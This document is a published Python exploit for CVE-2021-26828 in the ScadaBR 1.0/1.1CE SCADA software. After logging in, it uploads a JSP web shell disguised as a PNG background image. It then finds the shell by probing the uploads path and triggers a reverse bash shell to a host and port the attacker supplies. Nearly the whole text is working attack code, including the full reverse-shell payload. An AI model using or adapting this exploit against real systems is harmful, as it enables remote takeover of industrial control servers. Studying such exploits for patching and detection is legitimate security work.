ScadaBR versions 1.0 and 1.1CE authenticated shell upload exploit written for Linux targets.
advisories | CVE-2021-26828
#!/usr/bin/python
# Exploit Title: Authenticated Arbitrary File Upload (Remote Code Execution)
# Google Dork: N/A
# Date: 04/21
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://www.scadabr.com.br/
# Software Link:
# Version: ScadaBR 1.0, ScadaBR 1.1CE and ScadaBR 1.0 for Linux
# Tested on: Debian9,10~Ubuntu16.04
# CVE : CVE-2021-26828
import requests,sys,time
if len(sys.argv) <=6:
print('[x] Missing arguments ... ')
print('[>] Usage: python LinScada_RCE.py <TargetIp> <TargetPort> <User> <Password> <Reverse_IP> <Reverse_Port>')
print('[>] Example: python LinScada_RCE.py 192.168.1.24 8080 admin admin 192.168.1.50 4444')
sys.exit(0)
else:
time.sleep(1)
host = sys.argv[1]
port = sys.argv[2]
user = sys.argv[3]
passw = sys.argv[4]
rev_host = sys.argv[5]
rev_port = sys.argv[6]
flag = False
LOGIN = 'http://'+host+':'+port+'/ScadaBR/login.htm'
PROTECTED_PAGE = 'http://'+host+':'+port+'/ScadaBR/view_edit.shtm'
banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
| _________ .___ ____________________ |
| / _____/ ____ _____ __| _/____ ______ ______ |
| _____ _/ _____ / __ |__ | | _/| _/ |
| / ___ / __ _/ /_/ | / __ | | | | |
| /_______ /___ >____ /____ |(____ /______ /|____|_ / |
| / / / / / / / |
| |
| > ScadaBR 1.0 ~ 1.1 CE Arbitrary File Upload (CVE-2021-26828) |
| > Exploit Author : Fellipe Oliveira |
| > Exploit for Linux Systems |
+-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-+
'''
def main():
payload = {
'username': user,
'password': passw
}
print(banner)
time.sleep(2)
with requests.session() as s:
s.post(LOGIN, data=payload)
response = s.get(PROTECTED_PAGE)
print "[+] Trying to authenticate "+LOGIN+"..."
if response.status_code == 200:
print "[+] Successfully authenticated! :D~n"
time.sleep(2)
else:
print "[x] Authentication failed :("
sys.exit(0)
burp0_url = "http://"+host+":"+port+"/ScadaBR/view_edit.shtm"
burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "multipart/form-data; boundary=---------------------------32124376735876620811763441977", "Origin": "http://"+host+":"+port+"/", "Connection": "close", "Referer": "http://"+host+":"+port+"/ScadaBR/view_edit.shtm", "Upgrade-Insecure-Requests": "1"}
burp0_data = "-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="view.name"rnrnrn-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="view.xid"rnrnGV_369755rn-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="backgroundImageMP"; filename="webshell.jsp"rnContent-Type: image/pngrnrn <%@page import="java.lang.*"%>n<%@page import="java.util.*"%>n<%@page import="java.io.*"%>n<%@page import="java.net.*"%>nn<%nclass StreamConnector extends Thread {n InputStream is;n OutputStream os;n StreamConnector(InputStream is, OutputStream os) {n this.is = is;n this.os = os;n }n public void run() {n BufferedReader isr = null;n BufferedWriter osw = null;n try {n isr = new BufferedReader(new InputStreamReader(is));n osw = new BufferedWriter(new OutputStreamWriter(os));n char buffer[] = new char[8192];n int lenRead;n while ((lenRead = isr.read(buffer, 0, buffer.length)) > 0) {n osw.write(buffer, 0, lenRead);n osw.flush();n }n } catch (Exception e) {n System.out.println("exception: " + e.getMessage());n }n try {n if (isr != null)n isr.close();n if (osw != null)n osw.close();n } catch (Exception e) {n System.out.println("exception: " + e.getMessage());n }n }n}n%>nn<h1>Payload JSP to Reverse Shell</h1>n<p>Run nc -l 1234 on your client (127.0.0.1) and click Connect. This JSP will start a bash shell and connect it to your nc process</p>n<form method="get">ntIP Address<input type="text" name="ipaddress" size=30 value="127.0.0.1"/>ntPort<input type="text" name="port" size=10 value="1234"/>nt<input type="submit" name="Connect" value="Connect"/>n</form>nn<%n String ipAddress = request.getParameter("ipaddress");n String ipPort = request.getParameter("port");n Socket sock = null;n Process proc = null;n if (ipAddress != null && ipPort != null) {n try {n sock = new Socket(ipAddress, (new Integer(ipPort)).intValue());n System.out.println("socket created: " + sock.toString());n Runtime rt = Runtime.getRuntime();n proc = rt.exec("/bin/bash");n System.out.println("process /bin/bash started: " + proc.toString());n StreamConnector outputConnector = new StreamConnector(proc.getInputStream(), sock.getOutputStream());n System.out.println("outputConnector created: " + outputConnector.toString());n StreamConnector inputConnector = new StreamConnector(sock.getInputStream(), proc.getOutputStream());n System.out.println("inputConnector created: " + inputConnector.toString());n outputConnector.start();n inputConnector.start();n } catch (Exception e) {n System.out.println("exception: " + e.getMessage());n }n }n if (sock != null && proc != null) {n out.println("<div class='separator'></div>");n out.println("<p>Process /bin/bash, running as (" + proc.toString() + ", is connected to socket " + sock.toString() + ".</p>");n }n%>nnrn-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="upload"rnrnUpload imagern-----------------------------32124376735876620811763441977rnContent-Disposition: form-data; name="view.anonymousAccess"rnrn0rn-----------------------------32124376735876620811763441977--rn"
getdata = s.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print('[>] Attempting to upload .jsp Webshell...')
time.sleep(1)
print('[>] Verifying shell upload...n')
time.sleep(2)
if getdata.status_code == 200:
print('[+] Upload Successfuly! n')
for num in range(1,1000):
PATH = 'http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num)
find = s.get(PATH)
if find.status_code == 200:
print('[+] Webshell Found in: http://'+host+':'+port+'/ScadaBR/uploads/%d.jsp' % (num))
print('[>] Spawning Reverse Shell...n')
time.sleep(3)
burp0_url = "http://"+host+":"+port+"/ScadaBR/uploads/%d.jsp?ipaddress=%s&port=%s&Connect=Connect" % (num,rev_host,rev_port)
burp0_cookies = {"JSESSIONID": "8DF449C72D2F70704B8D997971B4A06B"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
r = s.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
time.sleep(5)
if len(r.text) > 401:
print('[+] Connection received')
sys.exit(0)
else:
print('[x] Failed to receive reverse connection ...n')
elif num == 999:
print('[x] Failed to found Webshell ... ')
else:
print('Reason:'+getdata.reason+' ')
print('Exploit Failed x_x')
if __name__ == '__main__':
main()
